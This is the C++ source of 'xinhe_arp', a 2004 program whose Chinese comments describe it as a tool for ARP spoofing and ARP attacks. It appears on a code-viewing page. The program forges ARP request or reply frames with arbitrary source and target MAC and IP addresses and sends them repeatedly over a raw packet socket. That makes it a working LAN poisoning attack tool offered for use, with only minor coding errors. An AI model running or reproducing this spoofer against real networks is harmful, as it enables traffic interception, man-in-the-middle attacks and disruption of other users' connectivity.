📄 xinhe_arp.c
字号:
/*RP欺骗和进行ARP攻击的网络程序 *× 程序名称:xinhe_arp ** 程序作者:xinhe ** 编写日期:2004-5-22 ****************************************/#include <netdb.h>#include <sys/socket.h>#include <sys/types.h>#include <stdio.h>#include <errno.h>#include <sys/ioctl.h>#include <net/if.h>#include <signal.h>#include <netinet/ip.h>#include <netinet/in.h>#include <string.h>#include <arpa/inet.h>#include <netinet/ip_icmp.h>#include <linux/if_ether.h>#include <unistd.h>#include <iostream>#include <string>#define ETH_HW_ADDR_LEN 6 //以太网的硬件地址长度#define IP_ADDR_LEN 4 //IP协议地址长度#define ARP_FRAME_TYPE 0x0806 //帧类型,0x0806表示ARP协议#define ETHER_HW_TYPE 1 //硬件地址类型,1表示以太网地址#define IP_PROTO_TYPE 0x0800 //协议类型,0x0800表示IP协议#define OP_ARP_REQUEST 2 //定义ARP应答数据包#define OP_ARP_QUEST 1 //定义ARP请求数据包//以下是构造一个ARP分组格式一样的一个结构体struct arp_packet{u_char targ_hw_addr[ETH_HW_ADDR_LEN]; //目标以太网地址u_char src_hw_addr[ETH_HW_ADDR_LEN]; //源以太网地址u_short frame_type; //帧类型u_short hw_type; //硬件类型u_short prot_type; //协议类型u_char hw_addr_size; //硬件地址长度u_char prot_addr_size; //协议地址长度u_short op; //操作类型,1表示请求包,2表示应答包u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; //源以太网地址u_char sndr_ip_addr[IP_ADDR_LEN]; //源IP地址u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; //目标以太网地址u_char rcpt_ip_addr[IP_ADDR_LEN]; //目标IP地址u_char padding[18]; //因为分组格式只有42个字节,而一个IP数据包至少要60个字节,所以padding在这里起填充作用};char usage[]="使用说明:\nxinhe_arp <-t op> <-shw src_hw_addr> <-sip src_ip_addr>" " <-thw targ_hw_addr> <-tip targ_ip_addr> <-n number> [-dev device] <-h>\n" "op=1 发送请求数据包\nop=2 发送应答数据包\n" "src_hw_addr:源以太网地址\nsrc_ip_addr:源IP地址\n" "targ_hw_addr:目标以太网地址\ntarg_ip_addr:目标IP地址\n" "munber:发送数据包次数\ndevice:发送设备\n" "-h:获得帮助\n" "注意:此程序必须以root身份执行\n";//以下是构造一个ARP的类class arp{ public: arp(); //构造函数,进行初始化 int send();//发送函数 int create();//创建套接口函数 void set_src_hw(u_char *buf);//设置源以太网地址 void set_targ_hw(u_char *buf);//设置目标以太网地址 void set_src_ip(char *buf);//设置源IP地址 void set_targ_ip(char *buf);//设置目标IP地址 void set_op_type(u_short op);//设置操作类型 void set_device(char *dev); //设置备设 private: void get_ip_addr(struct in_addr *in_addr,char *str);//转换IP地址 void get_hw_addr(u_char *buf,u_char *str);//转换硬件地址 void err(char *str);//出错 struct arp_packet pack; struct in_addr scr_ip_addr,targ_in_addr; struct sockaddr xinhe; int fd; char *device;};arp::arp() { pack.frame_type=htons(ARP_FRAME_TYPE); pack.hw_type=htons(ETHER_HW_TYPE); pack.prot_type=htons(IP_PROTO_TYPE); pack.hw_addr_size=ETH_HW_ADDR_LEN; pack.prot_addr_size=IP_ADDR_LEN; device="eth0"; }int arp::create() { bzero(pack.padding,18); strcpy(xinhe.sa_data,device); if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)))<0) err("errer1"); }int arp::send() { if(sendto(fd,&pack,sizeof(pack),0,&xinhe,sizeof(xinhe))<0) err("send fail"); return 0; }void arp::set_device(char *dev) { device=dev; }void arp::set_src_hw(u_char *buf) { get_hw_addr(pack.src_hw_addr,buf); get_hw_addr(pack.sndr_hw_addr,buf); }void arp::set_targ_hw(u_char *buf) { get_hw_addr(pack.targ_hw_addr,buf); get_hw_addr(pack.rcpt_hw_addr,buf); }void arp::set_src_ip(char *buf) { get_ip_addr(&scr_ip_addr,buf); memcpy(pack.sndr_ip_addr,&scr_ip_addr,IP_ADDR_LEN); }void arp::set_targ_ip(char *buf){ get_ip_addr(&targ_in_addr,buf); memcpy(pack.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);}void arp::set_op_type(u_short op){ printf("the op is %x\n",op); pack.op=htons(op);}void get_ip_addr(struct in_addr *in_addr,char *str){ struct hostent *hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr==-1) { if(hostp=gethostbyname(str)) bcopy(hostp->h_addr,in_addr,hostp->h_length); else { fprintf(stderr,"xinhe_arp:Unkown host%s\n",str); exit(1); } }}void arp::get_hw_addr(u_char *buf,u_char *str){ int i; char c,val; for(i=0;i<ETH_HW_ADDR_LEN;i++) { if(!(c=tolower(*str++))) err("Invalid hardware address\n"); if(isdigit(c)) val=c-'0'; else if(c>='a'&&c<='f') val=c-'a'+10; else err("Invalid hardware address\n"); *buf=val<<4; if(!(c=tolower(*str++))) err("Invalid hardware address\n"); if(isdigit(c)) val=c-'0'; else if(c>='a'&&c<='f') val=c-'a'+10; else err("Invalid hardware address\n"); *buf|=val; buf++; if(*str=':') *str++; } }void arp::get_ip_addr(struct in_addr *in_addr,char *str){ struct hostent *hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr==-1) { if(hostp=gethostbyname(str)) bcopy(hostp->h_addr,in_addr,hostp->h_length); else { fprintf(stderr,"xinhe_arp:Unkown host%s\n",str); exit(1); } }}void arp::err(char *str){ printf("%s",str); exit(1);}int main(int argc,char **argv){ string str,temp; u_short op; char *shw,*thw; char *sip,*tip,*dev; int n=1,send_number=0; if(argc==1) { printf(usage); exit(1); } arp xinhe; while(n<argc) { str=argv[n]; if(str=="-h") { printf("a%s",usage); exit(1); } else if(str=="-t") { n++; op=*argv[n]-0x30; } else if(str=="-shw") { n++; shw=argv[n]; } else if(str=="-sip") { n++; sip=argv[n]; } else if(str=="-thw") { n++; thw=argv[n]; } else if(str=="-tip") { n++; tip=argv[n]; } else if(str=="-n") { n++; send_number=atoi(argv[n]); } else if(str=="-dev") { n++; dev=argv[n]; xinhe.set_device(dev); } else { printf("abc%s",usage); exit(1); } n++; } xinhe.set_src_hw((u_char*)(shw)); xinhe.set_targ_hw((u_char*)(thw)); xinhe.set_src_ip(sip); xinhe.set_targ_ip(tip); xinhe.set_op_type(op); xinhe.create(); for(n=0;n<send_number;n++) { xinhe.send(); printf("the data has send %d\n",n); sleep(1); } return 0;}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -